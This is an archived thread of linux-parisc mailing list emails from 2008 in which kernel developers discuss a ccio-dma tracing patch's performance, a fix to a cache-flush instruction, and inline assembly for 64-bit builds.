Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01966-07; Thu, 13 Mar 2008 23:47:54 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0DE9033823A; Thu, 13 Mar 2008 23:47:54 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <JV7395$DBAE1F0684DA4A107D72A32A8088590F@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/203>

On Fri, Jan 25, 2008 at 11:17:29AM +0100, rubisher wrote:
...

Sorry for not replying to this sooner. This got "lost" in my inbox.

> > > (just what would give me DEBUG_RUN() printk() but without
> > >  degrading system performance)
> >
> > I don't believe that. :)
> > Measure the CPU utilization and/or compare pktgen performance with
> > and without the tracing compiled into the kernel.
> >
> Having no clue about pktgen, I have a look and rebuild kernels with this
> option and here are some results:

Thanks! This is excellent data - well done!


> I use a pktgen-single script like:

[ deleted sh script to drive pktgen ]

...
> # With Kernel including ccio_trace_marker but ccio_trace module not running
...
> Result: OK: 59844395(c59626778+d217617) usec, 455759 (60byte,0frags)
>   7615pps 3Mb/sec (3655200bps) errors: 0

vs.

> # With Kernel including ccio_trace_marker and ccio_trace module running
...
> Result: OK: 63882397(c59547733+d4334664) usec, 138863 (60byte,0frags)
>   2173pps 1Mb/sec (1043040bps) errors: 0

vs.

> # With Kernel without ccio_trace_marker
...
> Result: OK: 61980765(c61791828+d188937) usec, 474350 (60byte,0frags)
>   7653pps 3Mb/sec (3673440bps) errors: 0
> 
> I am not sure how to read those results so I also do some ftp and grab
> following data:

Compare the "pps" numbers.
The ccio_trace_marker code reduces performance by 0.49%.

(7653-7615)/7653

It's no surprise with tracing on, performance is 3.6x lower.

But those pps numbers look really low to me.
Was that with 100BT or GigE NIC?

If it was 100BT, then we probably are not CPU bound and are more
likely perf limited by the NIC. We'd need HW counters to determine
the exact CPU utilization and we never got CPU perf counters working.

I've not tested pktgen with gige NIC on parisc...only on ia64 (ZX1).
On ZX1 chipset I got up to 880,000 pps with careful tuning.
Given the 64-bit x 66Mhz PCI bus is running 1/2 as fast and parisc
generally is running a much older chipset (Astro has higher mem latency),
I expect the parisc gigE numbers to be substantially lower but still
in the 50-100K pps range.


> # With Kernel including ccio_trace_marker but ccio_trace module not running
> ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
...
> 47631536 bytes sent in 54.42 secs (854.8 kB/s)
> 
> # With Kernel including ccio_trace_marker and ccio_trace module running
...
> 47631536 bytes sent in 59.26 secs (784.9 kB/s)
> 
> # With kernel without ccio_trace_marker
...
> 47631536 bytes sent in 55.66 secs (835.8 kB/s)

The ftp results don't match the pktgen results.  The last result
(without ccio_trace_marker) should be fastest.

One thing I love about pktgen is the results are _very_ consistent
given a particular HW config. I trust those numbers much more than
the ftp or any other "real" network test for in-system comparisions.

> I agree it decrease a bit the system performance but doesn't slow it down so
> much that it would take several hours to boot has printk() did to me ;-)

*nod* definitely true.

> > However, that doesn't mean this is useless. This is alot better than
> > rolling our own "light weight" tracing mechanism and it's certainly
> > alot better than using printk's to debug DMA issues (as long as
> > the system doesn't crash - e.g. HPMC).
> 
> Yes there are limits to this method but for parisc I know so few kernel
> debugging tools that I would like to mentioned here the easiness of this patch
> implementation (even for a non C programmer as I ;<)
> 
> Cheers,
>     r.
> 
> PS: I didn't put this code here just because all what I have wouldn't apply on
> the current p-l ccio-dma.c src.

That's ok. Like I said before, I'd be willing to accept the patch
as long as it has "#ifdef" around all the code. Kernel developers
can enable/use it if they want. I see no reason to have it on
by default for anyone else.

thanks,
grant

> 
> 
> > hth,
> > grant
> >
> > > I still have to had some more DEBUG_RUN_SG() stuff and hope to be able to
> > > collect more.
> > >
> > > Cheers,
> > >     r.
> > >
> > > ---
> > > Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> > > http://www.scarlet.be/
> > >
> > > -
> > > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > > the body of a message to majordomo@vger.kernel.org
> > > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> > -
> > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> >
> > 
> ---
> Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> http://www.scarlet.be/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Thu, 13 Mar 2008 23:53:38 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20080314055338.GI24794@colo.lackof.org>
References: <JXIYMR$256BE935A3E5246D8157FA715B3F4508@scarlet.be> <20080310172644.580BD4E4A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205474045 15409 80.91.229.12 (14 Mar 2008 05:54:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Mar 2008 05:54:05 +0000 (UTC)
Cc: grundler@parisc-linux.org, soete.joel@scarlet.be,
	linux-parisc@vger.kernel.org, kyle@parisc-linux.org,
	matthew@wil.cx, John David Anglin <dave@hiauly1.hia.nrc.ca>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 14 06:54:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ja2s9-0003we-0X
	for glpp-linux-parisc@gmane.org; Fri, 14 Mar 2008 06:54:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751629AbYCNFxu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Mar 2008 01:53:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752153AbYCNFxu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 14 Mar 2008 01:53:50 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:59288 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751629AbYCNFxu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Mar 2008 01:53:50 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EFBAD338243;
	Thu, 13 Mar 2008 23:53:48 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02917-04; Thu, 13 Mar 2008 23:53:38 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 87B8033823A; Thu, 13 Mar 2008 23:53:38 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080310172644.580BD4E4A@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:204
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/204>

On Mon, Mar 10, 2008 at 01:26:43PM -0400, John David Anglin wrote:
> > > On Sun, Mar 09, 2008 at 01:55:15PM +0000, Joel Soete wrote:
> > > > Hello Grant,
> > > >
> > > > Always tracking this ccio-dma bug, I figure out this stuff could be 
> > > > helpfull:
> > > > --- a/drivers/parisc/ccio-dma.c	2008-03-09 12:55:00.000000000 +0000
> > > > +++ b/drivers/parisc/ccio-dma.c	2008-03-09 12:55:21.000000000 +0000
> > > > @@ -802,7 +802,7 @@
> > > >  			 * Hopefully someone figures out how to patch (NOP) the
> > > >  			 * FDC/SYNC out at boot time.
> > > >  			 */
> > > > -			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
> > > > +			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
> > > 
> > > BTW, once you've tested/demostrated this fixes the DMA problems on C-xxx,
> > > please resend with "Signed-off-by:" line.
> 
> The existing code is clearly wrong.  pdir_ptr[7] is not a pointer and
> the previous statement sets it to zero to clear the valid bit.  So, don't
> drop this line of investigation.

Dave is right. Please submit the proper patch (with Signed-off-by)
and I'll Ack it.

I was hoping testing this would "just work".

thanks,
grant

> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Fri, 14 Mar 2008 00:02:52 -0600
Lines: 76
Approved: news@gmane.org
Message-ID: <20080314060251.GJ24794@colo.lackof.org>
References: <JXM1RH$256C92C0CB28292D8C30F2A8EBC987EF@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205474613 16868 80.91.229.12 (14 Mar 2008 06:03:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Mar 2008 06:03:33 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
	"James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	"soete.joel" <soete.joel@scarlet.be>,
	grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	kyle <kyle@parisc-linux.org>, matthew <matthew@wil.cx>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 14 07:03:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ja31D-0006P5-4V
	for glpp-linux-parisc@gmane.org; Fri, 14 Mar 2008 07:03:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751687AbYCNGDP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Mar 2008 02:03:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751629AbYCNGDP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 14 Mar 2008 02:03:15 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:59430 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751333AbYCNGDP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Mar 2008 02:03:15 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D2A01338243;
	Fri, 14 Mar 2008 00:03:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03280-06; Fri, 14 Mar 2008 00:02:54 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 34B6433823A; Fri, 14 Mar 2008 00:02:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <JXM1RH$256C92C0CB28292D8C30F2A8EBC987EF@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/205>

On Wed, Mar 12, 2008 at 10:16:29AM +0100, rubisher wrote:
...
> mmm follwing stuff shouldn't so be enough:
> Index: b/drivers/parisc/ccio-dma.c
> ===================================================================
> --- a/drivers/parisc/ccio-dma.c 2008-03-12 08:49:20.000000000 +0000
> +++ b/drivers/parisc/ccio-dma.c 2008-03-12 08:50:54.000000000 +0000
> @@ -624,7 +624,8 @@
>         ** the real mode coherence index generation of U2, the PDIR entry
>         ** must be flushed to memory to retain coherence."
>         */
> -       asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
> +       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[1]));
> +       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[0]));

NACK

>         asm volatile("sync");
>  }
> 
> @@ -695,7 +696,7 @@
>                 ** Hopefully someone figures out how to patch (NOP) the
>                 ** FDC/SYNC out at boot time.
>                 */
> -               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
> +               asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[7]));

NACK - keep it simple with the original proposed patch.

> PS: in this doc feb96a6.pdf (easy to find) it was said:
> "[snip]
> Entries in the PA 7200 and PA 8000 caches are stored in lines
> of 32 bytes.
> [snip]
> 
> Because one-word writes occur in the I/O system, for registers,
> semaphores, or short DMA writes it was necessary that the I/O
> adapter implement a one-line-deep cache to buffer cache lines,
> so that these one-word writes could be executed by performing
> a coherent read private transaction on the Runway bus, obtaining
> the most recent copy of the cache line, modifying it locally in
> cache, and finally writing the modified line back to main memory.
...

> 2 thinks:
>     - it seems to confirm that cache line is well 32bytes wide ;-)
> 
>     - for 'one word writes...' how should it be implemented?

"one word writes" refers to DMA writes, not CPU writes.

>       It look like the sba_iommu driver:
>       "READ_REG(ioc-ioc_ha_IOC_PCOM); /* flush purges */
>       but without more detailed docs on U2/UTurn ccio, I don't know how to
>       implement matter, sorry.

The IOMMU driver programs the IO Pdir with the results of "lci" instruction
and this should be all the IOMMU needs to coherently read/modify/write
the cacheline that the "one word" DMA write is targeting. In short,
it's already implemented or I'd think we'd see much worse problems
on ccio platforms.

hth,
grant

> 
> 
> 
> ---
> Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> http://www.scarlet.be/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Fri, 14 Mar 2008 09:30:30 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <JXPOYU$E007A732ACC03B562E930344C50EC8E3@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1205483537 6951 80.91.229.12 (14 Mar 2008 08:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Mar 2008 08:32:17 +0000 (UTC)
Cc: "dave" <dave@hiauly1.hia.nrc.ca>,
	"James\.Bottomley" <James.Bottomley@HansenPartnership.com>,
	"soete\.joel" <soete.joel@scarlet.be>,
	"grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"kyle" <kyle@parisc-linux.org>, "matthew" <matthew@wil.cx>,
	"rubisher" <rubisher@scarlet.be>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 14 09:32:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ja5Kz-0007h3-HO
	for glpp-linux-parisc@gmane.org; Fri, 14 Mar 2008 09:32:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751927AbYCNIbu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Mar 2008 04:31:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752001AbYCNIbu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 14 Mar 2008 04:31:50 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:33170 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751927AbYCNIbt convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Mar 2008 04:31:49 -0400
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2E8UUQI013515;
	Fri, 14 Mar 2008 09:30:31 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: eir; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:206
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/206>

> > In this situation, the alignment of pdir's depends on how they
> > were originally declared.  If declared as long long, GCC will give
> > them 8 byte alignment, so the two words should always be in the
> > same cache line.  On the otherhand, if the pdir is declared as
> > a pair of 32-bit words, the pdir might span two cache lines.
> 
> It looks to me like pdirs should be 8 byte aligned and thus always
> should lie in a cache line.
> 
> The following insn appears to put hints in the wrong place on
> a 64-bit kernel since `pa' is then a 64-bit type:
> 
>         asm volatile("depw  %1,31,12,%0" : "+r" (pa) : "r" (hints));
> 
> The depw will operate on the left word.  Looks like it should be
> 
>         asm volatile("depw  %1,31,12,%R0" : "+r" (pa) : "r" (hints));
> 
As far as I never reach to boot a 64bit kernel on this box, I would like to
test but am I facing to a gcc bug or did I again miss something:
{standard input}: Assembler messages:
{standard input}:97: Error: Field out of range [0..31] (68).
{standard input}:97: Error: Invalid operands
{standard input}:1199: Error: Field out of range [0..31] (68).
{standard input}:1199: Error: Invalid operands
make[3]: *** [drivers/parisc/ccio-dma.o] Error 1

(The original compile fine???)

> when __LP64__ is defined.  Think the same is true for the following
> depw as well.
> 
Ok I will check in deep.

Tx,
    r.
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Fri, 14 Mar 2008 15:18:15 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <JXQ52F$73841D7DFC78D351843BDFFF09DD7CE8@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1205504388 14118 80.91.229.12 (14 Mar 2008 14:19:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Mar 2008 14:19:48 +0000 (UTC)
Cc: "dave" <dave@hiauly1.hia.nrc.ca>,
	"James\.Bottomley" <James.Bottomley@HansenPartnership.com>,
	"soete\.joel" <soete.joel@scarlet.be>,
	"grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"kyle" <kyle@parisc-linux.org>, "matthew" <matthew@wil.cx>,
	"rubisher" <rubisher@scarlet.be>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 14 15:20:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaAlZ-0000jX-Bk
	for glpp-linux-parisc@gmane.org; Fri, 14 Mar 2008 15:20:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753313AbYCNOTi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Mar 2008 10:19:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753084AbYCNOTi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 14 Mar 2008 10:19:38 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:33902 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752699AbYCNOTh convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Mar 2008 10:19:37 -0400
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2EEIFim008049;
	Fri, 14 Mar 2008 15:18:16 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:207
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/207>

> > > In this situation, the alignment of pdir's depends on how they
> > > were originally declared.  If declared as long long, GCC will give
> > > them 8 byte alignment, so the two words should always be in the
> > > same cache line.  On the otherhand, if the pdir is declared as
> > > a pair of 32-bit words, the pdir might span two cache lines.
> > 
> > It looks to me like pdirs should be 8 byte aligned and thus always
> > should lie in a cache line.
> > 
> > The following insn appears to put hints in the wrong place on
> > a 64-bit kernel since `pa' is then a 64-bit type:
> > 
> >         asm volatile("depw  %1,31,12,%0" : "+r" (pa) : "r" (hints));
> > 
> > The depw will operate on the left word.  Looks like it should be
> > 
> >         asm volatile("depw  %1,31,12,%R0" : "+r" (pa) : "r" (hints));
> > 
> As far as I never reach to boot a 64bit kernel on this box, I would like to
> test but am I facing to a gcc bug or did I again miss something:
> {standard input}: Assembler messages:
> {standard input}:97: Error: Field out of range [0..31] (68).
> {standard input}:97: Error: Invalid operands
> {standard input}:1199: Error: Field out of range [0..31] (68).
> {standard input}:1199: Error: Invalid operands
> make[3]: *** [drivers/parisc/ccio-dma.o] Error 1
> 
oops I need to better check why does it want to use fr:
     96 #APP
     97         depw  %r23,31,12,%fr4
     98 #NO_APP

   1198 #APP
   1199         depw  %r5,31,12,%fr4
   1200 #NO_APP

I will try to understand that next week.

r.
> (The original compile fine???)
> 
> > when __LP64__ is defined.  Think the same is true for the following
> > depw as well.
> > 
> Ok I will check in deep.
> 
> Tx,
>     r.
> > Dave
> > -- 
> > J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> > National Research Council of Canada              (613) 990-0752 (FAX:
952-6602)
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> > 
> > 
> ---
> Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> http://www.scarlet.be/
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Fri, 14 Mar 2008 11:35:10 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20080314153512.0AEAC4E6A@hiauly1.hia.nrc.ca>
References: <JXPOYU$E007A732ACC03B562E930344C50EC8E3@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205508934 32030 80.91.229.12 (14 Mar 2008 15:35:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Mar 2008 15:35:34 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, soete.joel@scarlet.be,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	kyle@parisc-linux.org, matthew@wil.cx, rubisher@scarlet.be
To: rubisher@scarlet.be (rubisher)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 14 16:36:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaBwl-0005vg-Sf
	for glpp-linux-parisc@gmane.org; Fri, 14 Mar 2008 16:35:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753438AbYCNPfQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Mar 2008 11:35:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753674AbYCNPfQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 14 Mar 2008 11:35:16 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3690 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753438AbYCNPfP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Mar 2008 11:35:15 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0AEAC4E6A; Fri, 14 Mar 2008 11:35:11 -0400 (EDT)
In-Reply-To: <JXPOYU$E007A732ACC03B562E930344C50EC8E3@scarlet.be> from "rubisher" at Mar 14, 2008 09:30:30 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:208
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/208>

> > The depw will operate on the left word.  Looks like it should be
> > 
> >         asm volatile("depw  %1,31,12,%R0" : "+r" (pa) : "r" (hints));

Sorry, the `R' to access the right half of pa is needed when generating
32-bit code.  The original form might be ok when generating 64-bit
code but I'd have to check the arch.  With 64-bit code, you might need
to use depd.  The other approach might be to change pa to u32.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
